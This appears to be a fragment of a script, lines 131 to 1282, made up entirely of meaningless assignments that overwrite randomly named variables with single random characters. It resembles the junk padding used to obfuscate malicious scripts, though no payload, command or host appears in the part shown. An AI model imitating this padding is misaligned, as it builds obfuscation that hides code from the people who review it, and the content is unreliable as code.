131	wxmas = "s";
132	wxmas = "Q";
133	wxmas = "S";
134	wxmas = "O";
135	wxmas = "H";
136	wxmas = "s";
137	wxmas = "z";
138	wxmas = "R";
139	wxmas = "b";
140	wxmas = "J";
141	wxmas = "B";
142	wxmas = "L";
143	wxmas = "e";
144	wxmas = "i";
145	wxmas = "J";
146	wxmas = "m";
147	wxmas = "I";
148	wxmas = "k";
149	wxmas = "o";
150	wxmas = "S";
151	wxmas = "q";
152	wxmas = "a";
153	wxmas = "o";
154	wxmas = "u";
155	wxmas = "F";
156	wxmas = "U";
157	wxmas = "c";
158	wxmas = "T";
159	hwbssd = "r";
160	hwbssd = "E";
161	hwbssd = "e";
162	hwbssd = "B";
163	hwbssd = "B";
164	hwbssd = "Z";
165	hwbssd = "g";
166	hwbssd = "n";
167	hwbssd = "h";
168	hwbssd = "q";
169	hwbssd = "P";
170	hwbssd = "b";
171	hwbssd = "X";
172	hwbssd = "a";
173	hwbssd = "e";
174	hwbssd = "l";
175	hwbssd = "K";
176	hwbssd = "B";
177	hwbssd = "u";
178	hwbssd = "G";
179	hwbssd = "l";
180	mjmfoxeqx = "H";
181	mjmfoxeqx = "D";
182	mjmfoxeqx = "k";
183	mjmfoxeqx = "g";
184	mjmfoxeqx = "R";
185	mjmfoxeqx = "C";
186	mjmfoxeqx = "Q";
187	mjmfoxeqx = "N";
188	mjmfoxeqx = "Y";
189	mjmfoxeqx = "q";
190	mjmfoxeqx = "N";
191	mjmfoxeqx = "u";
192	mjmfoxeqx = "W";
193	mjmfoxeqx = "W";
194	mjmfoxeqx = "A";
195	mjmfoxeqx = "S";
196	mjmfoxeqx = "n";
197	mjmfoxeqx = "B";
198	mjmfoxeqx = "v";
199	mjmfoxeqx = "L";
200	mjmfoxeqx = "d";
201	mjmfoxeqx = "s";
202	mjmfoxeqx = "A";
203	mjmfoxeqx = "y";
204	mjmfoxeqx = "u";
205	mjmfoxeqx = "p";
206	mjmfoxeqx = "G";
207	mjmfoxeqx = "o";
208	mjmfoxeqx = "h";
209	mjmfoxeqx = "M";
210	mjmfoxeqx = "m";
211	mjmfoxeqx = "F";
212	mjmfoxeqx = "f";
213	mjmfoxeqx = "n";
214	mjmfoxeqx = "N";
215	mjmfoxeqx = "f";
216	mjmfoxeqx = "t";
217	mjmfoxeqx = "V";
218	mjmfoxeqx = "S";
219	mjmfoxeqx = "o";
220	mjmfoxeqx = "K";
221	mjmfoxeqx = "N";
222	iuspk = "N";
223	iuspk = "z";
224	iuspk = "n";
225	iuspk = "L";
226	iuspk = "e";
227	iuspk = "J";
228	iuspk = "U";
229	iuspk = "D";
230	iuspk = "F";
231	iuspk = "K";
232	iuspk = "c";
233	iuspk = "G";
234	iuspk = "O";
235	iuspk = "v";
236	iuspk = "Z";
237	iuspk = "p";
238	iuspk = "k";
239	hcwukp = "y";
240	hcwukp = "t";
241	hcwukp = "y";
242	hcwukp = "y";
243	hcwukp = "E";
244	hcwukp = "s";
245	hcwukp = "X";
246	hcwukp = "u";
247	hcwukp = "n";
248	hcwukp = "b";
249	hcwukp = "K";
250	hcwukp = "T";
251	hcwukp = "k";
252	hcwukp = "N";
253	hcwukp = "W";
254	hcwukp = "D";
255	hcwukp = "k";
256	hcwukp = "N";
257	hcwukp = "X";
258	hcwukp = "F";
259	hcwukp = "P";
260	hcwukp = "a";
261	hcwukp = "z";
262	hcwukp = "T";
263	hcwukp = "b";
264	hcwukp = "i";
265	hcwukp = "R";
266	hcwukp = "R";
267	hcwukp = "Z";
268	hcwukp = "T";
269	hcwukp = "z";
270	hcwukp = "u";
271	hcwukp = "u";
272	hcwukp = "R";
273	hcwukp = "K";
274	hcwukp = "h";
275	hcwukp = "J";
276	hcwukp = "l";
277	hcwukp = "b";
278	hcwukp = "z";
279	hcwukp = "i";
280	hcwukp = "K";
281	hcwukp = "N";
282	hcwukp = "c";
283	iifmu = "p";
284	iifmu = "c";
285	iifmu = "E";
286	iifmu = "y";
287	iifmu = "i";
288	iifmu = "e";
289	iifmu = "u";
290	iifmu = "I";
291	iifmu = "Q";
292	iifmu = "q";
293	iifmu = "d";
294	iifmu = "t";
295	iifmu = "h";
296	iifmu = "e";
297	iifmu = "S";
298	iifmu = "U";
299	iifmu = "R";
300	iifmu = "q";
301	iifmu = "X";
302	iifmu = "R";
303	iifmu = "e";
304	adlewini = "i";
305	adlewini = "Y";
306	adlewini = "q";
307	adlewini = "j";
308	adlewini = "d";
309	adlewini = "j";
310	adlewini = "V";
311	adlewini = "O";
312	adlewini = "O";
313	adlewini = "S";
314	adlewini = "w";
315	adlewini = "h";
316	adlewini = "R";
317	adlewini = "q";
318	adlewini = "l";
319	adlewini = "I";
320	adlewini = "X";
321	adlewini = "t";
322	adlewini = "w";
323	adlewini = "M";
324	adlewini = "m";
325	adlewini = "T";
326	adlewini = "s";
327	adlewini = "G";
328	adlewini = "r";
329	adlewini = "o";
330	adlewini = "p";
331	adlewini = "X";
332	adlewini = "p";
333	adlewini = "h";
334	adlewini = "z";
335	adlewini = "m";
336	adlewini = "s";
337	adlewini = "y";
338	adlewini = "p";
339	adlewini = "s";
340	adlewini = "Y";
341	adlewini = "w";
342	adlewini = "J";
343	adlewini = "y";
344	adlewini = "c";
345	adlewini = "H";
346	adlewini = "u";
347	adlewini = "Y";
348	adlewini = "-";
349	gifuqednt = "i";
350	gifuqednt = "X";
351	gifuqednt = "o";
352	gifuqednt = "H";
353	gifuqednt = "j";
354	gifuqednt = "n";
355	gifuqednt = "k";
356	gifuqednt = "F";
357	gifuqednt = "g";
358	gifuqednt = "e";
359	gifuqednt = "P";
360	gifuqednt = "s";
361	gifuqednt = "a";
362	axnzkjfy = "L";
363	axnzkjfy = "K";
364	axnzkjfy = "U";
365	axnzkjfy = "p";
366	axnzkjfy = "I";
367	axnzkjfy = "n";
368	axnzkjfy = "J";
369	axnzkjfy = "r";
370	axnzkjfy = "q";
371	axnzkjfy = "f";
372	axnzkjfy = "h";
373	axnzkjfy = "h";
374	axnzkjfy = "p";
375	axnzkjfy = "r";
376	axnzkjfy = "t";
377	axnzkjfy = "S";
378	axnzkjfy = "w";
379	axnzkjfy = "j";
380	axnzkjfy = "W";
381	axnzkjfy = "G";
382	axnzkjfy = "p";
383	axnzkjfy = "j";
384	jwhoq = "m";
385	jwhoq = "c";
386	jwhoq = "T";
387	jwhoq = "q";
388	jwhoq = "Y";
389	jwhoq = "c";
390	jwhoq = "m";
391	jwhoq = "I";
392	jwhoq = "g";
393	jwhoq = "V";
394	jwhoq = "o";
395	jwhoq = "l";
396	jwhoq = "W";
397	jwhoq = "z";
398	jwhoq = "n";
399	jwhoq = "q";
400	jwhoq = "d";
401	jwhoq = "z";
402	jwhoq = "p";
403	jwhoq = "b";
404	vjxqtf = "m";
405	vjxqtf = "D";
406	vjxqtf = "n";
407	vjxqtf = "x";
408	vjxqtf = "d";
409	vjxqtf = "L";
410	vjxqtf = "m";
411	zvdsnxcsb = "D";
412	zvdsnxcsb = "z";
413	zvdsnxcsb = "a";
414	zvdsnxcsb = "H";
415	zvdsnxcsb = "c";
416	zvdsnxcsb = "t";
417	zvdsnxcsb = "G";
418	zvdsnxcsb = "d";
419	zvdsnxcsb = "j";
420	zvdsnxcsb = "F";
421	zvdsnxcsb = "W";
422	zvdsnxcsb = "r";
423	zvdsnxcsb = "W";
424	zvdsnxcsb = "J";
425	zvdsnxcsb = "M";
426	zvdsnxcsb = "y";
427	zvdsnxcsb = "N";
428	zvdsnxcsb = "D";
429	zvdsnxcsb = "K";
430	zvdsnxcsb = "X";
431	zvdsnxcsb = "k";
432	zvdsnxcsb = "u";
433	zvdsnxcsb = "p";
434	zvdsnxcsb = "K";
435	zvdsnxcsb = "A";
436	zvdsnxcsb = "j";
437	zvdsnxcsb = "g";
438	zvdsnxcsb = "P";
439	zvdsnxcsb = "b";
440	zvdsnxcsb = "G";
441	zvdsnxcsb = "G";
442	zvdsnxcsb = "q";
443	zvdsnxcsb = "D";
444	zvdsnxcsb = "U";
445	zvdsnxcsb = "g";
446	zvdsnxcsb = "B";
447	zvdsnxcsb = "y";
448	zvdsnxcsb = "q";
449	cvvalb = "N";
450	cvvalb = "e";
451	cvvalb = "B";
452	cvvalb = "r";
453	cvvalb = "u";
454	cvvalb = "y";
455	cvvalb = "T";
456	cvvalb = "P";
457	cvvalb = "o";
458	cvvalb = "Z";
459	cvvalb = "K";
460	cvvalb = "l";
461	cvvalb = "W";
462	cvvalb = "p";
463	cvvalb = "t";
464	cvvalb = "y";
465	cvvalb = "R";
466	cvvalb = "j";
467	cvvalb = "z";
468	cvvalb = "e";
469	cvvalb = ":";
470	zdliklze = "Z";
471	zdliklze = "r";
472	zdliklze = "I";
473	zdliklze = "r";
474	zdliklze = "G";
475	zdliklze = "Y";
476	zdliklze = "q";
477	zdliklze = "L";
478	zdliklze = "G";
479	zdliklze = "q";
480	zdliklze = "W";
481	zdliklze = "r";
482	zdliklze = "/";
483	bqsae = "N";
484	bqsae = "J";
485	bqsae = "K";
486	bqsae = "S";
487	bqsae = "r";
488	bqsae = "z";
489	bqsae = "K";
490	bqsae = "e";
491	bqsae = "H";
492	bqsae = "V";
493	bqsae = "n";
494	bqsae = "O";
495	bqsae = "R";
496	bqsae = "R";
497	bqsae = "O";
498	bqsae = "N";
499	bqsae = "v";
500	bqsae = "P";
501	bqsae = "w";
502	bqsae = "L";
503	bqsae = "K";
504	bqsae = "k";
505	bqsae = "j";
506	bqsae = "C";
507	bqsae = "q";
508	bqsae = "j";
509	bqsae = "n";
510	bqsae = "y";
511	bqsae = "E";
512	bqsae = "K";
513	ipqcv = "T";
514	ipqcv = "H";
515	ipqcv = "E";
516	ipqcv = "P";
517	ipqcv = "w";
518	ipqcv = "c";
519	ipqcv = "J";
520	ipqcv = "y";
521	ipqcv = "E";
522	ipqcv = "C";
523	ipqcv = "v";
524	ipqcv = "g";
525	ipqcv = "s";
526	ipqcv = "H";
527	ipqcv = "O";
528	ipqcv = "z";
529	ipqcv = "m";
530	ipqcv = "z";
531	ipqcv = "w";
532	ipqcv = "c";
533	ipqcv = "H";
534	ipqcv = "E";
535	ipqcv = "t";
536	ipqcv = "c";
537	ipqcv = "V";
538	ipqcv = "C";
539	ipqcv = "a";
540	ipqcv = "X";
541	ipqcv = "D";
542	ipqcv = "y";
543	ipqcv = "o";
544	ipqcv = "R";
545	ipqcv = "b";
546	ipqcv = "V";
547	ipqcv = "b";
548	ipqcv = "O";
549	ipqcv = "B";
550	ipqcv = "s";
551	ipqcv = "a";
552	ipqcv = "O";
553	avarpzy = "S";
554	avarpzy = "d";
555	avarpzy = "Q";
556	avarpzy = "H";
557	avarpzy = "M";
558	avarpzy = "K";
559	avarpzy = "e";
560	avarpzy = "b";
561	avarpzy = "Q";
562	avarpzy = "c";
563	avarpzy = "B";
564	avarpzy = "Q";
565	avarpzy = "O";
566	avarpzy = "V";
567	avarpzy = "A";
568	avarpzy = "E";
569	avarpzy = "P";
570	avarpzy = "s";
571	avarpzy = "c";
572	avarpzy = "i";
573	avarpzy = "S";
574	avarpzy = "Q";
575	avarpzy = "a";
576	avarpzy = "t";
577	avarpzy = "u";
578	avarpzy = "J";
579	avarpzy = "x";
580	avarpzy = "r";
581	avarpzy = "n";
582	avarpzy = "g";
583	avarpzy = "c";
584	avarpzy = "F";
585	avarpzy = "i";
586	avarpzy = "A";
587	avarpzy = "W";
588	mcfxlrwk = "H";
589	mcfxlrwk = "J";
590	mcfxlrwk = "K";
591	mcfxlrwk = "Y";
592	mcfxlrwk = "M";
593	mcfxlrwk = "V";
594	mcfxlrwk = "c";
595	mcfxlrwk = "e";
596	mcfxlrwk = "O";
597	mcfxlrwk = "C";
598	mcfxlrwk = "o";
599	mcfxlrwk = "o";
600	mcfxlrwk = "Q";
601	mcfxlrwk = "e";
602	mcfxlrwk = "C";
603	mcfxlrwk = "R";
604	mcfxlrwk = "t";
605	mcfxlrwk = "h";
606	mcfxlrwk = "a";
607	mcfxlrwk = "R";
608	mcfxlrwk = "Q";
609	igvgx = "S";
610	igvgx = "l";
611	igvgx = "v";
612	igvgx = "h";
613	igvgx = "D";
614	igvgx = "k";
615	igvgx = "E";
616	igvgx = "M";
617	igvgx = "d";
618	igvgx = "N";
619	igvgx = "S";
620	igvgx = "r";
621	igvgx = "P";
622	igvgx = "L";
623	igvgx = "h";
624	igvgx = "T";
625	igvgx = "Z";
626	igvgx = "v";
627	igvgx = "r";
628	igvgx = "c";
629	igvgx = "b";
630	igvgx = "b";
631	igvgx = "O";
632	igvgx = "t";
633	igvgx = "x";
634	igvgx = "T";
635	igvgx = "g";
636	igvgx = "P";
637	igvgx = "Z";
638	igvgx = "z";
639	igvgx = "Q";
640	igvgx = "G";
641	igvgx = "G";
642	igvgx = "b";
643	igvgx = "E";
644	igvgx = "l";
645	igvgx = "C";
646	ffzmzezw = "i";
647	ffzmzezw = "x";
648	ffzmzezw = "t";
649	ffzmzezw = "n";
650	ffzmzezw = "Y";
651	ffzmzezw = "f";
652	ffzmzezw = "g";
653	ffzmzezw = "B";
654	ffzmzezw = "h";
655	ffzmzezw = "J";
656	ffzmzezw = "Z";
657	ffzmzezw = "1";
658	tfcykjmic = "K";
659	tfcykjmic = "A";
660	tfcykjmic = "t";
661	tfcykjmic = "q";
662	tfcykjmic = "d";
663	tfcykjmic = "D";
664	tfcykjmic = "F";
665	tfcykjmic = "T";
666	tfcykjmic = "b";
667	tfcykjmic = "O";
668	tfcykjmic = "h";
669	tfcykjmic = "&";
670	rdwgieocn = "g";
671	rdwgieocn = "B";
672	rdwgieocn = "K";
673	rdwgieocn = "b";
674	rdwgieocn = "l";
675	rdwgieocn = "U";
676	rdwgieocn = "E";
677	rdwgieocn = "f";
678	rdwgieocn = "T";
679	rdwgieocn = "k";
680	rdwgieocn = "V";
681	rdwgieocn = "E";
682	rdwgieocn = "x";
683	rdwgieocn = "S";
684	rdwgieocn = "l";
685	rdwgieocn = "M";
686	rdwgieocn = "U";
687	rdwgieocn = "f";
688	rdwgieocn = "f";
689	rdwgieocn = "N";
690	rdwgieocn = "Q";
691	rdwgieocn = "t";
692	rdwgieocn = "Y";
693	rdwgieocn = "C";
694	rdwgieocn = "T";
695	rdwgieocn = "D";
696	rdwgieocn = "O";
697	rdwgieocn = "r";
698	rdwgieocn = "m";
699	rdwgieocn = "K";
700	rdwgieocn = "\\";
701	ebutue = "z";
702	ebutue = "v";
703	ebutue = "m";
704	ebutue = "S";
705	ebutue = "T";
706	ebutue = "O";
707	ebutue = "F";
708	ebutue = "l";
709	ebutue = "k";
710	ebutue = "w";
711	ebutue = "l";
712	ebutue = "s";
713	ebutue = "d";
714	ebutue = "e";
715	ebutue = "U";
716	ebutue = "t";
717	ebutue = "v";
718	ebutue = "t";
719	ebutue = "l";
720	ebutue = "Q";
721	ebutue = "P";
722	ebutue = "D";
723	ebutue = "%";
724	nmhcyuc = "g";
725	nmhcyuc = "C";
726	nmhcyuc = "q";
727	nmhcyuc = "E";
728	nmhcyuc = "e";
729	nmhcyuc = "v";
730	nmhcyuc = "N";
731	nmhcyuc = "t";
732	nmhcyuc = "O";
733	nmhcyuc = "L";
734	nmhcyuc = "h";
735	nmhcyuc = "m";
736	nmhcyuc = "y";
737	nmhcyuc = "d";
738	nmhcyuc = "C";
739	nmhcyuc = "X";
740	nmhcyuc = "O";
741	nmhcyuc = "S";
742	nmhcyuc = "a";
743	nmhcyuc = "L";
744	nmhcyuc = "j";
745	nmhcyuc = "M";
746	nmhcyuc = "W";
747	nmhcyuc = "B";
748	nmhcyuc = "S";
749	nmhcyuc = "c";
750	nmhcyuc = "E";
751	nmhcyuc = "n";
752	nmhcyuc = "s";
753	nmhcyuc = "z";
754	nmhcyuc = "N";
755	nmhcyuc = "Q";
756	nmhcyuc = "i";
757	nmhcyuc = "d";
758	nmhcyuc = "m";
759	nmhcyuc = "B";
760	nmhcyuc = "f";
761	hjvtwpfj = "s";
762	hjvtwpfj = "T";
763	hjvtwpfj = "f";
764	hjvtwpfj = "T";
765	hjvtwpfj = "C";
766	hjvtwpfj = "C";
767	hjvtwpfj = "l";
768	hjvtwpfj = "a";
769	hjvtwpfj = "b";
770	hjvtwpfj = "k";
771	hjvtwpfj = "M";
772	hjvtwpfj = "F";
773	hjvtwpfj = "S";
774	hjvtwpfj = "S";
775	hjvtwpfj = "N";
776	hjvtwpfj = "I";
777	hjvtwpfj = "O";
778	hjvtwpfj = "w";
779	hjvtwpfj = "R";
780	hjvtwpfj = "d";
781	hjvtwpfj = "J";
782	hjvtwpfj = "R";
783	hjvtwpfj = "K";
784	hjvtwpfj = "v";
785	hjvtwpfj = "W";
786	hjvtwpfj = "r";
787	hjvtwpfj = "H";
788	hjvtwpfj = "R";
789	hjvtwpfj = "R";
790	hjvtwpfj = "P";
791	hjvtwpfj = "o";
792	hjvtwpfj = "a";
793	hjvtwpfj = "P";
794	hjvtwpfj = "T";
795	hjvtwpfj = "f";
796	hjvtwpfj = "E";
797	hjvtwpfj = "X";
798	hjvtwpfj = "d";
799	mmnlgvmw = "P";
800	mmnlgvmw = "x";
801	paoqcewr = "g";
802	paoqcewr = "h";
803	paoqcewr = "E";
804	paoqcewr = "X";
805	paoqcewr = "o";
806	paoqcewr = "I";
807	paoqcewr = "Z";
808	paoqcewr = "L";
809	paoqcewr = "n";
810	paoqcewr = "H";
811	paoqcewr = "p";
812	jblryk = "W";
813	jblryk = "l";
814	jblryk = "J";
815	jblryk = "R";
816	jblryk = "t";
817	jblryk = "Q";
818	jblryk = "G";
819	jblryk = "x";
820	jblryk = "r";
821	jblryk = "i";
822	jblryk = "H";
823	jblryk = "P";
824	jblryk = "z";
825	jblryk = "s";
826	jblryk = "U";
827	jblryk = "R";
828	jblryk = "z";
829	jblryk = "I";
830	jblryk = "@";
831	gxazvyxto = "Q";
832	gxazvyxto = "e";
833	gxazvyxto = "b";
834	gxazvyxto = "a";
835	gxazvyxto = "W";
836	gxazvyxto = "x";
837	gxazvyxto = "G";
838	gxazvyxto = "L";
839	gxazvyxto = "w";
840	gxazvyxto = "Y";
841	gxazvyxto = "V";
842	gxazvyxto = "Z";
843	gxazvyxto = "y";
844	gxazvyxto = "R";
845	gxazvyxto = "d";
846	gxazvyxto = "I";
847	gxazvyxto = "K";
848	gxazvyxto = "c";
849	gxazvyxto = "v";
850	gxazvyxto = "Z";
851	gxazvyxto = "K";
852	gxazvyxto = "i";
853	gxazvyxto = "P";
854	gxazvyxto = "s";
855	gxazvyxto = "H";
856	gxazvyxto = "d";
857	gxazvyxto = "w";
858	gxazvyxto = "i";
859	gxazvyxto = "g";
860	kgltbiabl = "u";
861	kgltbiabl = "c";
862	kgltbiabl = "m";
863	kgltbiabl = "Y";
864	kgltbiabl = "b";
865	kgltbiabl = "C";
866	kgltbiabl = "n";
867	kgltbiabl = "i";
868	kgltbiabl = "Q";
869	kgltbiabl = "I";
870	kgltbiabl = "G";
871	kgltbiabl = "k";
872	kgltbiabl = "o";
873	kgltbiabl = "e";
874	kgltbiabl = "M";
875	kgltbiabl = "3";
876	gyyssse = "p";
877	gyyssse = "u";
878	gyyssse = "U";
879	gyyssse = "S";
880	gyyssse = "y";
881	gyyssse = "B";
882	gyyssse = "y";
883	gyyssse = "p";
884	gyyssse = "y";
885	gyyssse = "m";
886	gyyssse = "a";
887	gyyssse = "i";
888	gyyssse = "S";
889	gyyssse = "s";
890	gyyssse = "G";
891	gyyssse = "U";
892	gyyssse = "H";
893	gcgltk = "O";
894	gcgltk = "u";
895	gcgltk = "I";
896	gcgltk = "Y";
897	gcgltk = "y";
898	gcgltk = "d";
899	gcgltk = "j";
900	gcgltk = "F";
901	gcgltk = "I";
902	gcgltk = "S";
903	gcgltk = "r";
904	gcgltk = "q";
905	gcgltk = "D";
906	gcgltk = "P";
907	gcgltk = "H";
908	gcgltk = "c";
909	gcgltk = "T";
910	gcgltk = "m";
911	gcgltk = "n";
912	gcgltk = "m";
913	gcgltk = "K";
914	gcgltk = "k";
915	gcgltk = "t";
916	gcgltk = "n";
917	gcgltk = "A";
918	gcgltk = "l";
919	gcgltk = "Y";
920	gcgltk = "I";
921	gcgltk = "V";
922	gcgltk = "f";
923	gcgltk = "P";
924	gcgltk = "z";
925	gcgltk = "Z";
926	gcgltk = "X";
927	gcgltk = "k";
928	gcgltk = "P";
929	gcgltk = "o";
930	gcgltk = "G";
931	gcgltk = "\"";
932	ygxye = "J";
933	ygxye = "x";
934	ygxye = "s";
935	ygxye = "l";
936	ygxye = "V";
937	ygxye = "l";
938	ygxye = "x";
939	ygxye = "V";
940	ygxye = "I";
941	ygxye = "R";
942	ygxye = "r";
943	ygxye = "F";
944	ygxye = "Z";
945	ygxye = "J";
946	ygxye = "i";
947	ygxye = "s";
948	ygxye = "l";
949	ygxye = "s";
950	ygxye = "T";
951	ygxye = "K";
952	ygxye = "e";
953	ygxye = "m";
954	ygxye = "k";
955	ygxye = "p";
956	ygxye = "w";
957	ygxye = "A";
958	ygxye = "l";
959	ygxye = "N";
960	ygxye = "r";
961	ygxye = "d";
962	ygxye = "h";
963	ygxye = "D";
964	ygxye = "r";
965	ygxye = "U";
966	zlawwxgq = "o";
967	zlawwxgq = "b";
968	zlawwxgq = "Y";
969	zlawwxgq = "W";
970	zlawwxgq = "O";
971	zlawwxgq = "o";
972	zlawwxgq = "d";
973	zlawwxgq = "E";
974	zlawwxgq = "N";
975	zlawwxgq = "y";
976	zlawwxgq = "p";
977	zlawwxgq = "F";
978	zlawwxgq = "I";
979	zlawwxgq = "Q";
980	zlawwxgq = "B";
981	zlawwxgq = "q";
982	zlawwxgq = "f";
983	zlawwxgq = "W";
984	zlawwxgq = "h";
985	zlawwxgq = "E";
986	zlawwxgq = "b";
987	zlawwxgq = "I";
988	zlawwxgq = "G";
989	zlawwxgq = "n";
990	zlawwxgq = "L";
991	zlawwxgq = "a";
992	zlawwxgq = "v";
993	zlawwxgq = "B";
994	zlawwxgq = "J";
995	zlawwxgq = "u";
996	zlawwxgq = "o";
997	zlawwxgq = "U";
998	zlawwxgq = "A";
999	zlawwxgq = "k";
1000	zlawwxgq = "j";
1001	zlawwxgq = "Y";
1002	jpfnirb = "i";
1003	jpfnirb = "R";
1004	jpfnirb = "H";
1005	jpfnirb = "b";
1006	jpfnirb = "T";
1007	jpfnirb = "d";
1008	jpfnirb = "r";
1009	jpfnirb = "x";
1010	jpfnirb = "L";
1011	jpfnirb = "D";
1012	jpfnirb = "v";
1013	jpfnirb = "G";
1014	jpfnirb = "J";
1015	jpfnirb = "m";
1016	jpfnirb = "t";
1017	jpfnirb = "v";
1018	jpfnirb = "I";
1019	jpfnirb = "u";
1020	jpfnirb = "r";
1021	jpfnirb = "o";
1022	jpfnirb = "H";
1023	jpfnirb = "F";
1024	jpfnirb = "l";
1025	jpfnirb = "a";
1026	jpfnirb = "z";
1027	jpfnirb = "P";
1028	jpfnirb = "t";
1029	jpfnirb = "g";
1030	jpfnirb = "j";
1031	jpfnirb = "s";
1032	jpfnirb = "o";
1033	jpfnirb = "i";
1034	jpfnirb = "O";
1035	jpfnirb = "N";
1036	jpfnirb = "d";
1037	jpfnirb = "U";
1038	jpfnirb = "Y";
1039	jpfnirb = "v";
1040	jpfnirb = "r";
1041	qfqbv = "J";
1042	qfqbv = "c";
1043	qfqbv = "F";
1044	qfqbv = "n";
1045	qfqbv = "A";
1046	qfqbv = "O";
1047	qfqbv = "e";
1048	qfqbv = "V";
1049	qfqbv = "z";
1050	qfqbv = "w";
1051	qfqbv = "e";
1052	qfqbv = "M";
1053	qfqbv = "P";
1054	qfqbv = "J";
1055	qfqbv = "K";
1056	qfqbv = "M";
1057	qfqbv = "w";
1058	qfqbv = "b";
1059	qfqbv = "f";
1060	qfqbv = "Q";
1061	qfqbv = "s";
1062	qfqbv = "w";
1063	mouzlgvm = "q";
1064	mouzlgvm = "z";
1065	mouzlgvm = "F";
1066	mouzlgvm = "Z";
1067	mouzlgvm = "n";
1068	mouzlgvm = "x";
1069	mouzlgvm = "a";
1070	mouzlgvm = "j";
1071	mouzlgvm = "4";
1072	grdsnv = "c";
1073	grdsnv = "x";
1074	grdsnv = "t";
1075	grdsnv = "V";
1076	grdsnv = "H";
1077	grdsnv = "a";
1078	grdsnv = "k";
1079	grdsnv = "r";
1080	grdsnv = "q";
1081	grdsnv = "M";
1082	grdsnv = "A";
1083	grdsnv = "t";
1084	grdsnv = "j";
1085	grdsnv = "t";
1086	grdsnv = "l";
1087	grdsnv = "g";
1088	grdsnv = "s";
1089	grdsnv = "i";
1090	grdsnv = "e";
1091	grdsnv = "u";
1092	grdsnv = "N";
1093	grdsnv = "P";
1094	grdsnv = "g";
1095	grdsnv = "s";
1096	grdsnv = "O";
1097	grdsnv = "F";
1098	grdsnv = "w";
1099	grdsnv = "g";
1100	grdsnv = "x";
1101	grdsnv = "D";
1102	grdsnv = "c";
1103	grdsnv = "Z";
1104	grdsnv = "m";
1105	grdsnv = "B";
1106	grdsnv = "N";
1107	grdsnv = "p";
1108	grdsnv = "m";
1109	grdsnv = "C";
1110	grdsnv = "u";
1111	grdsnv = "n";
1112	grdsnv = "O";
1113	grdsnv = "M";
1114	grdsnv = "n";
1115	fkjxxjfp = "t";
1116	fkjxxjfp = "E";
1117	fkjxxjfp = "m";
1118	fkjxxjfp = "c";
1119	fkjxxjfp = "m";
1120	fkjxxjfp = "K";
1121	fkjxxjfp = "k";
1122	fkjxxjfp = "G";
1123	fkjxxjfp = "a";
1124	fkjxxjfp = "a";
1125	fkjxxjfp = "m";
1126	fkjxxjfp = "p";
1127	fkjxxjfp = "u";
1128	fkjxxjfp = "G";
1129	fkjxxjfp = "w";
1130	fkjxxjfp = "t";
1131	fkjxxjfp = "m";
1132	fkjxxjfp = "r";
1133	fkjxxjfp = "h";
1134	fkjxxjfp = "R";
1135	sestee = "f";
1136	sestee = "Q";
1137	sestee = "W";
1138	sestee = "S";
1139	sestee = "Q";
1140	sestee = "c";
1141	sestee = "C";
1142	sestee = "J";
1143	sestee = "v";
1144	sestee = "c";
1145	sestee = "B";
1146	sestee = "D";
1147	sestee = "w";
1148	sestee = "y";
1149	sestee = "D";
1150	sestee = "p";
1151	sestee = "u";
1152	sestee = "f";
1153	sestee = "F";
1154	sestee = "O";
1155	sestee = "S";
1156	sestee = "m";
1157	sestee = "U";
1158	sestee = "r";
1159	sestee = "i";
1160	sestee = "C";
1161	sestee = "o";
1162	sestee = "k";
1163	sestee = "l";
1164	sestee = "U";
1165	sestee = "D";
1166	sestee = "C";
1167	sestee = ".";
1168	psxndjezr = "W";
1169	psxndjezr = "F";
1170	psxndjezr = "i";
1171	psxndjezr = "O";
1172	psxndjezr = "W";
1173	psxndjezr = "Z";
1174	psxndjezr = "g";
1175	psxndjezr = "T";
1176	psxndjezr = "O";
1177	psxndjezr = "P";
1178	psxndjezr = "T";
1179	psxndjezr = "b";
1180	psxndjezr = "v";
1181	psxndjezr = "D";
1182	psxndjezr = "Q";
1183	psxndjezr = "J";
1184	psxndjezr = "H";
1185	psxndjezr = "C";
1186	psxndjezr = "W";
1187	psxndjezr = "G";
1188	psxndjezr = "n";
1189	psxndjezr = "c";
1190	psxndjezr = "y";
1191	psxndjezr = "y";
1192	psxndjezr = "i";
1193	psxndjezr = "D";
1194	psxndjezr = "g";
1195	psxndjezr = "N";
1196	psxndjezr = "q";
1197	psxndjezr = "W";
1198	psxndjezr = "o";
1199	psxndjezr = "Q";
1200	psxndjezr = "a";
1201	psxndjezr = "F";
1202	tslabkdlt = "n";
1203	tslabkdlt = "Q";
1204	tslabkdlt = "p";
1205	tslabkdlt = "Z";
1206	tslabkdlt = "E";
1207	tslabkdlt = "b";
1208	tslabkdlt = "E";
1209	tslabkdlt = "S";
1210	tslabkdlt = "I";
1211	tslabkdlt = "L";
1212	tslabkdlt = "l";
1213	tslabkdlt = "e";
1214	tslabkdlt = "Z";
1215	tslabkdlt = "l";
1216	tslabkdlt = "m";
1217	tslabkdlt = "C";
1218	tslabkdlt = "e";
1219	tslabkdlt = "w";
1220	tslabkdlt = "z";
1221	tslabkdlt = "T";
1222	tslabkdlt = "T";
1223	tslabkdlt = "m";
1224	tslabkdlt = "Q";
1225	tslabkdlt = "t";
1226	tslabkdlt = "p";
1227	tslabkdlt = "F";
1228	tslabkdlt = "w";
1229	tslabkdlt = "Q";
1230	tslabkdlt = "G";
1231	tslabkdlt = "y";
1232	tslabkdlt = "G";
1233	tslabkdlt = "V";
1234	tslabkdlt = "O";
1235	tslabkdlt = "L";
1236	jqdzf = "U";
1237	jqdzf = "Q";
1238	jqdzf = "O";
1239	jqdzf = "u";
1240	jqdzf = "l";
1241	jqdzf = "z";
1242	jqdzf = "b";
1243	jqdzf = "G";
1244	jqdzf = "t";
1245	jqdzf = "N";
1246	jqdzf = "r";
1247	jqdzf = "U";
1248	jqdzf = "C";
1249	jqdzf = "m";
1250	jqdzf = "G";
1251	jqdzf = "e";
1252	jqdzf = "n";
1253	jqdzf = "x";
1254	jqdzf = "O";
1255	jqdzf = "T";
1256	jqdzf = "Q";
1257	jqdzf = "D";
1258	jqdzf = "P";
1259	fmzqjba = "U";
1260	fmzqjba = "Q";
1261	fmzqjba = "C";
1262	fmzqjba = "e";
1263	fmzqjba = "u";
1264	fmzqjba = "s";
1265	fmzqjba = "n";
1266	fmzqjba = "r";
1267	fmzqjba = "l";
1268	fmzqjba = "G";
1269	fmzqjba = "s";
1270	dshabeyig = "e";
1271	dshabeyig = "t";
1272	uiucp = "h";
1273	uiucp = "q";
1274	uiucp = "c";
1275	uiucp = "g";
1276	uiucp = "j";
1277	uiucp = "c";
1278	uiucp = "u";
1279	uiucp = "T";
1280	uiucp = "i";
1281	uiucp = "I";
1282	uiucp = "i";
